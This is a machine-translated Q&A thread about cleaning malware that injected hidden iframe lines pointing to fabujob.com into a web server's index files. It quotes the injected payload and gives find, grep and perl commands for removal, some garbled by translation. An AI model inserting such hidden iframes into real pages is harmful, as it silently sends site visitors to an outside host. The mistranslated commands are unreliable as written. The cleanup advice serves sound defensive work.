搜索 index.php 和 index.html 并替换字符串

搜索 index.php 和 index.html 并替换字符串

我的计算机上最近出现了某种恶意软件,它会在网络服务器上的所有 index.php 和 index.html 中添加以下字符串:

echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

所以“click=”后面的参数总是会变化的。这两个只是例子。

有没有办法可以快速地做到这一点?

编辑:它在我的网络服务器上,因此无需查找......

答案1

一种简单的方法是使用 find 和 grep,再加上 perl 来进行编辑。

首先,构建一个已被泄露的文件名列表:

查找 /path/to/web/site -name 'index.htm*' -o -name 'index.php' -print0 | \
  xargs -0 grep -l'iframe src。*fabujob \.com'> /tmp/compromised-files.txt

接下来,使用 perl 编辑文件并删除漏洞:

猫/tmp/compromised-files.txt | \
  xargs -d'\n' perl -n -i.BAK -e'打印除非 m/fabujob\.com/i'

(是的,对于 UUOC 学究来说,这是 Cat 的无用用法,但它使示例更易于阅读和理解)

这将从每个受感染的文件中删除包含字符串“fabujob.com”的每一行。它还将保留每个文件的备份作为 filename.BAK,这样如果出现问题,您可以轻松恢复它们。当您不再需要它们时,您应该删除它们。

这个 perl 脚本基于您提供的示例,该示例似乎表明攻击添加了一整行包含漏洞的内容,因此这个脚本会打印除包含漏洞 URL 的内容之外的每一行。如果事实并非如此,那么您必须想出一个更合适的脚本:)

这是一种通用技术,可用于对一批文件进行任何自动编辑。您可以使用任何 perl 代码来完成这项工作,而且 perl 具有大量的文本处理功能。

顺便说一句,在进行此类工作时,请务必先复制所涉及的整个目录树并对其进行处理。这样,即使你搞砸了 perl 编辑脚本也没关系……只需将原始脚本 rsync 回工作目录即可。一旦你得到完全正确的脚本,你就可以在真实文件上运行它了。

答案2

sed 和 find 应该会对您有所帮助,但是 sed 需要一些时间来学习(时间长到我现在想不出一个可能的命令)。

此外,还有能够在整个目录树中查找和替换的 GUI 编辑器(例如 Mac 上的 Textmate)。然后您可以使用正则表达式来覆盖变量部分。

答案3

尝试regexxerrpl键入工具。它们的全部目的是进行项目范围的替换。它们支持递归目录,并允许您选择要应用替换的文件类型。

答案4

如果你知道你的文档中没有 <iframe> 标签,你可以简单地这样做

perl -i -n -e'print unless /<iframe>/' $(find . -name index.html)

如果您确实有 iframe,那么您需要使您的正则表达式更加精确。

Perl 的 -i 标志经常被忽视。它的意思是“就地编辑”。请参阅http://petdance.com/perl/command-line-options.pdf了解有关从命令行使用 Perl 完成的魔法的更多示例。

相关内容